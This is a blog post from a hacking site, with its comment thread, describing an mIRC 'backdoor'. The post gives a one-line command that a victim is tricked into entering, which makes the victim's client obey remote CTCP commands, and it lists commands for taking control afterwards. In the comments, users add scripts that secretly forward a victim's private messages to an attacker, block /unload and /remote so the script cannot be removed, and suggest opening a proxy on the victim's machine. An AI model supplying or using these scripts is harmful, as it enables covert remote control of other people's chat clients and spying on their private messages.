24 February 2006 | 22,964 views

mIRC Backdoor

Check For Vulnerabilities with Acunetix

Well it’s not really a backdoor… but we can consider it one…

Some time ago it apeared on many websites (including mine) an article about a backdoor in mIRC… all this backdoor stuff was really nothing more than a mIRC script that by it’s mean made the client to respond at any command received via a CTCP (Client to Client Protocol) command… such as ping, version, time, etc…. so here is the command that the victim has to enter:

//.write -c mirc.dll ctcp 1:*:*:$1- | /.load -rs mirc.dll

The command is splited in 2 parts, delimited by | (a vertical line)… So the first section writes a file “mirc.dll” in which we write a simple mIRC script which listens to any CTCP request… the second one loads the file with the mIRC script….

After the “victim” executes this command we can control it by introducing one of the following lines:

{ this is a comment }

/ctcp victims_nick /.nick lamer { changes the nickname of the victim to lamer }

/ctcp victims_nick /.exit { closes the victims mIRC }

/ctcp victims_nick /.run www.black2white.as.ro
{ opens the victims default web browser (ie, firefox, opera, etc.) on the page www.black2white.as.ro }

/ctcp victims_nick /.any_valid_irc_command

So happy “masterminding”….

More IRC Commands: http://www.hackthissite.org/pages/irc/reference.php

Advertisements



Recent in General Hacking:
- U.S. State Department Hacked
- Kali Linux – The Most Advanced Penetration Testing Linux Distribution
- Microsoft Says You SHOULD Re-use Passwords Across Sites

Related Posts:
- Norton Antivirus Funny Bug
- A Collection of Web Backdoors & Shells – cmdasp cmdjsp jsp-reverse php-backdoor
- who is backbone?

Most Read in General Hacking:
  • 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) - 1,153,620 views
  • Hack Tools/Exploits - 603,162 views
  • Password Cracking with Rainbowcrack and Rainbow Tables - 424,493 views


  • Advertise on Darknet

    15 Responses to “mIRC Backdoor”

    1. myk 7 September 2006 at 7:30 am Permalink

      how can i use that command and wer i put it

    2. erl 30 November 2006 at 2:12 am Permalink

      what are the codes that im the one will control the other user to quit ect.?

    3. backbone 30 November 2006 at 5:29 pm Permalink

      you make the victim enter the command, and for quiting you send the victim

      /ctcp victims_nick /.quit killed by I don't know who


      see mIRC help for more commands

    4. yo 13 December 2006 at 12:34 am Permalink

      another commands do you have…this don”t know how it works

    5. backbone 13 February 2007 at 8:43 am Permalink

      I reedited the text and added a / (slash) in the command because the ones who just posted it doesn’t work, didn’t even press a F(ckin)1 in mIRC to see that the newer version in the write alias, have to add double // slashes so they would parse | (bar) as a new alias…

    6. amru 10 March 2007 at 3:39 pm Permalink

      how can l use this cmmand and where l put it

    7. backbone 10 March 2007 at 4:32 pm Permalink

      the victim has to enter that command line in there editbox… the place where you type the message before hitting enter… =))

    8. amru 12 March 2007 at 10:26 am Permalink

      please l want more comands

    9. DeJest 13 June 2007 at 10:10 am Permalink

      Hi, is there a way to view another user’s queries? Say for instance, I (DeJest) want to view the query between SomeOne001 and SomeOne002.

    10. s1n 13 June 2007 at 11:56 am Permalink

      Christ! mirc script backdoors? that is so 90s!

      bah, anyway:

      amru: try typing “/help commands” in mirc. (first rule of hackclub(r), RTFM!)

      DeJest: “/help scripts”, i would suggest you look into the on INPUT and TEXT events for what you want.
      tip: if you run a command as /.command it should not print stdout to user if fuzzy memory serves.

      let us know if you code something cool, there is a lot of potential.

      s1n

    11. backbone 13 June 2007 at 2:41 pm Permalink

      s1n that was my first post wtf should have I written to get attention (hist) ? =)

      something like this would do

      on *:input:?: { /.msg DeJest spy $me $1- }
      on *:text:?: { /.msg DeJest spy $nick $1- }

      then you should parse with a tiny script so that if SomeOne002 is the first param or SomeOne001 then drop it in a window… small ex:

      on *:text:spy*: { echo @spywindow $1- }

      not tested but should look something like this…

    12. SHITEMASTER 17 June 2008 at 3:17 am Permalink

      //write xd on ^*:text:@do*:*: $chr(123) $ $+ 2- $chr(124) halt $chr(125) | //write xd alias unload noop | //write xd alias remote noop | /load -rs xd

      it disables /unload and /remote to some degree, there are likely better methods, and i’d be willing to see them

      from there i would use the backdoor to load the spy script, since the line may be too long to use it all in one command.
      you should use an alias to do this for me, but whatever works.
      example:
      @do /write spy on *:input:*: { if (%spy) { .msg %spy $active $+ : $1- } }
      @do /write spy on *:disconnect: { unset %spy }
      @do /write spy on *:connect: { join #rofl }
      @do /write spy on *:topic:#rofl: { if ($1 == !setspy) { set %spy $2 }

      well, that’s that.

    13. chevalier3as 17 June 2008 at 5:31 pm Permalink

      nice!! if i got that right, the mIRC client reate a *.dll with specific options( -c *.dll ctcp 1:*:*:$1-) I still don’t get 1:*:*:$1, then load it to the client.
      wouldn’t it be possible to do the same with browsers??Creating a *.dll file then sending commands through ctcp, probably js or some scripting language readable by the browser????
      that would be nice, but the dll file has to be loaded to the client at each start!

    14. SHITEMASTER 17 June 2008 at 6:45 pm Permalink

      chevalier, i think the word you are looking for is batch script. also, you could easily add socket scripts to perform automated shit. a good idea would be making a socklisten event in which opens a proxy server on the victims host. of course, this would not work if the person is behind a router, and not forwarded on the port selected, would still be quite interesting

      or simply use mirc to write some .html files with javascript on them. there are several possibilities

    15. SreeKanth 18 December 2008 at 6:47 am Permalink

      Thats a grt conversation from top to bottom. Well my question is, is there any backdoor script where i can send a MSG to all users at once on an irc server. Can anyone help me out with this?